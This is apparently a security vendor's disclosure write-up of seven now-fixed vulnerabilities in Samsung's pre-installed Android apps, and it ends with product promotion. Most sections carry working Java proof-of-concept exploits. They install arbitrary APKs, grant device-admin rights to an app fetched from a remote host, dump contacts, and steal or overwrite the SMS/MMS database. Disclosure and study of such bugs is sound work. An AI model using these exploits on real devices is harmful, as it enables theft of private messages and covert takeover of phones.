/ ANDROID, SAMSUNG

Two weeks of securing Samsung devices: Part 1

After spending two weeks looking for security bugs in the pre-installed apps on Samsung devices, we were able to find multiple dangerous vulnerabilities. In this blog, we will be going over them.

The impact of these bugs could have allowed an attacker to access and edit the victim’s contacts, calls, SMS/MMS, install arbitrary apps with device administrator rights, or read and write arbitrary files on behalf of a system user which could change the device’s settings.

These vulnerabilities could have led to a GDPR violation, and we are delighted that we could help Samsung identify and fix these vulnerabilities in a timely manner.

Vulnerability table:

CVE SVE Affected app Description Reward amount
CVE-2021-25388 SVE-2021-20636 Knox Core (com.samsung.android.knox.containercore) Installation of arbitrary apps and device-wide theft of arbitrary files $1720
CVE-2021-25356 SVE-2021-20733 Managed Provisioning (com.android.managedprovisioning) Installing third-party apps and granting them Device Admin permissions $7000
CVE-2021-25391 SVE-2021-20500 Secure Folder (com.samsung.knox.securefolder) Gaining access to arbitrary* content providers $1050
CVE-2021-25393 SVE-2021-20731 SecSettings (com.android.settings) Gaining access to arbitrary* content providers leads to read/write access to arbitrary files as system user (UID 1000) $5460
CVE-2021-25392 SVE-2021-20690 Samsung DeX System UI (com.samsung.desktopsystemui) Ability to steal notification policy configuration $330
CVE-2021-25397 SVE-2021-20716 TelephonyUI (com.samsung.android.app.telephonyui) (Over-)writing arbitrary files as UID 1001 $4850
CVE-2021-25390 SVE-2021-20724 PhotoTable (com.android.dreams.phototable) Intent redirection leads to gaining access to arbitrary content providers $280

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more.

The vulnerability in Knox Core

First, we scanned the Knox Core app and discovered that an app was installed from the SD card: vulnerability

It also turned out that this functionality is activated via the exported service com.samsung.android.knox.containercore.provisioning.DualDARInitService:

<service android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService" android:exported="true">
   <intent-filter>
       <action android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService" />
   </intent-filter>
</service>

An attacker could pass an arbitrary URI via the dualdar-config-client-location parameter, which will be copied to /sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk, which is a world-readable location.

After that, the app installation process will be launched:

private void proceedPrerequisiteForDualDARWithWPCOD(Intent intent) {
   if (intent.getBooleanExtra("DUAL_DAR_IS_WPCOD", false)) {
       int intExtra = intent.getIntExtra("android.intent.extra.user_handle", UserHandle.myUserId());
       Bundle bundleExtra = intent.getBundleExtra("DUAL_DAR_PARAMS");
       String string = bundleExtra.getString("dualdar-config-client-package", null);
       if (!TextUtils.isEmpty(string)) {
           DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD 3rd-party crypto");
           String string2 = bundleExtra.getString("dualdar-config-client-location"); // attacker-controlled URI
           DDLog.m4d("KNOXCORE::DualDARInitService", "DualDARPolicy.KEY_CONFIG_CLIENT_LOCATION = " + string2);
           if (TextUtils.isEmpty(string2)) {
               notifyMPError(5);
           } else if (string2.startsWith("file://")) {
               String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";
               try {
                   // attacker-controlled file is copied to the public location
                   ((SemRemoteContentManager) this.mContext.getSystemService("rcp")).copyFile(intExtra, string2.replaceFirst("^file://", ""), intExtra, str);
                   installPackageTask(intent, string, str); // and then installed
               } catch (RemoteException unused) {
                   DDLog.m3e("KNOXCORE::DualDARInitService", "copyFile failed.");
                   notifyMPError(5);
               }
           } else if (string2.startsWith("https://")) {
               downloadPackageTask(intent, string, string2);
           } else {
               notifyMPError(5);
           }
       } else {
           DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD native crypto");
           startRunnerTask(intent);
       }
   }
}

Proof of Concept for installing arbitrary apps

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   Bundle bundle = new Bundle();
   bundle.putString("dualdar-config-client-package", "test.exampleapp");
   bundle.putString("dualdar-config-client-location", Uri.fromFile(copyFile()).toString());

   Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
   i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.provisioning.DualDARInitService");
   i.putExtra("DualDARServiceEventFlag", 500);
   i.putExtra("DUAL_DAR_IS_WPCOD", true);
   i.putExtra("DUAL_DAR_PARAMS", bundle);
   startService(i);
}

private File copyFile() {
    File file = new File(getApplicationInfo().dataDir, "app.apk");
    try (InputStream inputStream = getAssets().open("app-release.apk")) {
        try (OutputStream outputStream = new FileOutputStream(file)) {
            IOUtils.copy(inputStream, outputStream);
        }
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
    return file;
}

Proof of Concept of SMS/MMS file theft

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   startDump();

   try {
       File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");

       Bundle bundle = new Bundle();
       bundle.putString("dualdar-config-client-package", "test.exampleapp");
       bundle.putString("dualdar-config-client-location", Uri.fromFile(dbPath).toString());

       Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.putExtra("DualDARServiceEventFlag", 500);
       i.putExtra("DUAL_DAR_IS_WPCOD", true);
       i.putExtra("DUAL_DAR_PARAMS", bundle);
       new Thread(() -> {
           for (int j = 1; j < 1000; j++) {
               startService(i);
               try {
                   Thread.sleep(500);
               } catch (Throwable th) {
                   throw new RuntimeException(th);
               }
           }
       }).start();
   } catch (Throwable th) {
       throw new RuntimeException(th);
   }
}

private void startDump() {
    final String path = "/sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk";

    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    new Thread(() -> {
        while (true) {
            try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
                String data = IOUtils.toString(inputStream);
                Log.d("evil", data);
            } catch (Throwable th) {
            }
        }
    }).start();
}

The PoC works as follows:

  1. A service is launched to copy the required file to a public location (since this is an invalid APK file, it will be deleted immediately after an installation error),

  2. Then, the client_downloaded_knox_app.apk file is read.

Note: We use MediaStore.Files because the latest Android versions do not allow direct reading from external storages belonging to other apps, but this can be bypassed using the Android Media Content Provider.

The vulnerability in Managed Provisioning

Managed Provisioning is a pre-installed app on all Samsung devices and is used for corporate device customization.

Once again, while testing Managed Provisioning, we found a vulnerability on installing an app from a public directory: vulnerability

The original app was developed by AOSP and it had security checks to verify the authorization of any interactions. The Managed Provisioning app was modified by Samsung to add features which were needed to interact with their ecosystem and Knox Core.

Therefore, in the Samsung app, this check could be bypassed by setting the value com.samsung.knox.container.requestId:

int intExtra = intent.getIntExtra("com.samsung.knox.container.requestId", -1);
if (intExtra > 0) {
   ProvisionLogger.logw("Skipping verifyActionAndCaller"); // the bypass
} else if (!verifyActionAndCaller(intent, str)) {
   return;
}

Proof of Concept for installing custom apps and giving them Device Admin rights

This Proof of Concept was built by copying the code of the ProvisioningParams.Builder class and passing the standard parameters needed to configure Managed Provisioning, which included:

byte[] hash = Base64.decode("5VNuCGDQygiVg4S86BKhySBVJlOpDZs3YYYsJKIOtCQ", 0);
PackageDownloadInfo.Builder infoBuiler = PackageDownloadInfo.Builder.builder()
       .setLocation("https://redacted.s3.amazonaws.com/app-release.apk")
       .setPackageChecksum(hash)
       .setSignatureChecksum(hash);

ProvisioningParams.Builder builder = ProvisioningParams.Builder.builder()
       .setSkipUserConsent(true)
       .setDeviceAdminComponentName(new ComponentName("test.exampleapp", "test.exampleapp.MyReceiver"))
       .setDeviceAdminPackageName("test.exampleapp")
       .setProvisioningAction("android.app.action.PROVISION_MANAGED_DEVICE")
       .setDeviceAdminDownloadInfo(infoBuiler.build());

ProvisioningParams params = builder.build();

Intent i = new Intent("com.android.managedprovisioning.action.RESUME_PROVISIONING");
i.setClassName("com.android.managedprovisioning", "com.android.managedprovisioning.preprovisioning.PreProvisioningActivity");
i.putExtra("provisioningParams", params);
i.putExtra("com.samsung.knox.container.requestId", 1);
i.putExtra("com.samsung.knox.container.configType", "knox-do-basic");
startActivity(i);

After opening the app, this is what happened:

  1. Managed Provisioning was forced to download a malicious app from the attacker-specified link
  2. The malicious app installed in Step 1 was made a device administrator with an arbitrary set of rights
  3. A process was initiated which would remove all the other apps installed on the same device.

The attack looked like this:

The vulnerability in Secure Folder

Secure Folder is a secure file storage app which is pre-installed on Samsung devices. It has a large set of rights that an attacker could intercept by exploiting the vulnerability found in accessing arbitrary* content providers: vulnerability

Once an attacker receives the intent which was sent by them, they would be able to intercept the rights.

As a PoC, we intercepted the rights to read/write contacts:

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   Intent i = new Intent();
   i.setClassName("com.samsung.knox.securefolder", "com.samsung.knox.securefolder.containeragent.ui.settings.KnoxSettingCheckLockTypeActivity");
   i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
   i.setData(ContactsContract.RawContacts.CONTENT_URI);
   startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
   super.onActivityResult(requestCode, resultCode, data);

   dump(data.getData());
}

private void dump(Uri uri) {
   Cursor cursor = getContentResolver().query(uri, null, null, null, null);
   if (cursor.moveToFirst()) {
       do {
           StringBuilder sb = new StringBuilder();
           for (int i = 0; i < cursor.getColumnCount(); i++) {
               if (sb.length() > 0) {
                   sb.append(", ");
               }
               sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
           }
           Log.d("evil", sb.toString());
       } while (cursor.moveToNext());
   }
}

The vulnerability in SecSettings

SecSettings is Samsung’s pre-installed settings app.

The vulnerability on reading and writing arbitrary files from UID 1000 (system) consists of two components:

  • gaining access to arbitrary* content providers
  • exploiting an insecure FileProvider in the com.sec.imsservice app

vulnerability

This chain is only possible because both apps use the same shared UID specified in their AndroidManifest.xml: android:sharedUserId="android.uid.system". In fact, this setting means that two different apps can share absolutely all resources and have full access to each other’s components. The vulnerability in SecSettings is Google’s. It was reported to the Android VDP. The reward is $2000. We will disclose the details of this issue in the Part 2 article.

The vulnerability in Samsung DeX System UI

This vulnerability allowed an attacker to steal data from user notifications, which would typically include chat descriptions for Telegram, Google Docs folders, Samsung Email and Gmail inboxes, and information from notifications of other apps.

The attacker could also activate the functionality to create a backup in the world-readable directory on the SD card: vulnerability

Since the file was deleted immediately after creating a backup, we added a functionality to create a backup copy to prevent this.

Proof of Concept:

final File root = Environment.getExternalStorageDirectory();
final File policyFile = new File(root, "notification_policy.xml");
final File backupCopy = new File(root, "backup");

Intent i = new Intent("com.samsung.android.intent.action.REQUEST_BACKUP_NOTIFICATION");
i.setClassName("com.samsung.desktopsystemui", "com.samsung.desktopsystemui.NotificationBackupRestoreManager$NotificationBnRReceiver");
i.putExtra("SAVE_PATH", root.getAbsolutePath());
i.putExtra("SESSION_KEY", "not_empty");
sendBroadcast(i);

new Thread(() -> {
    while (true) {
        if (policyFile.exists()) {
            try (InputStream inputStream = new FileInputStream(policyFile)) {
                try (OutputStream outputStream = new FileOutputStream(backupCopy)) {
                    IOUtils.copy(inputStream, outputStream);
                }
            } catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }
}).start();

The vulnerability in TelephonyUI

The receiver com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver is exported. It saves files from the URL specified in photoring_uri to the path specified in down_file. This was detected by the Oversecured Android scanner:

vulnerability

The only requirement is that the content-type of the server response should be image/* or video/*. Therefore, we used the filename test.mp4 and Amazon S3 automatically specified the video/mp4 content type in the response.

Proof of Concept:

File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");

Intent i = new Intent("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING");
i.setClassName("com.samsung.android.app.telephonyui", "com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver");
i.putExtra("photoring_uri", "https://redacted.s3.amazonaws.com/test.mp4");
i.putExtra("down_file", dbPath.getAbsolutePath());
sendBroadcast(i);

As a result, the file with SMS/MMS messages was overwritten with attacker-controlled content.

The vulnerability in PhotoTable

In PhotoTable, we found intent redirection, which allowed access to content providers to be intercepted: vulnerability

We used this vulnerability to hijack the rights to access the SD card. Here is the Proof of Concept:

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   handle(getIntent());
}

protected void onNewIntent(Intent intent) {
   super.onNewIntent(intent);

   handle(intent);
}

private void handle(Intent intent) {
   if ("evil".equals(intent.getAction())) {
       String uri = MediaStore.Images.Media.insertImage(getContentResolver(),
               Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888),
               "Title_1337",
               "Description_1337");
       Log.d("evil", "Result: " + uri);
   } else {
       Intent next = new Intent("evil", MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
       next.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
       next.setClass(this, getClass());

       Intent i = new Intent();
       i.setClassName("com.android.dreams.phototable", "com.android.dreams.phototable.PermissionsRequestActivity");
       i.putExtra("previous_intent", next);
       i.putExtra("permission_list", new String[0]);
       startActivity(i);
   }
}

Check the next article here: “Two weeks of securing Samsung devices: Part 2”

Protect your apps today!

It can be challenging to keep track of security issues that appear daily during the app development process. Drop us a line and we'll help you automate this process internally, saving tons of resources with Oversecured.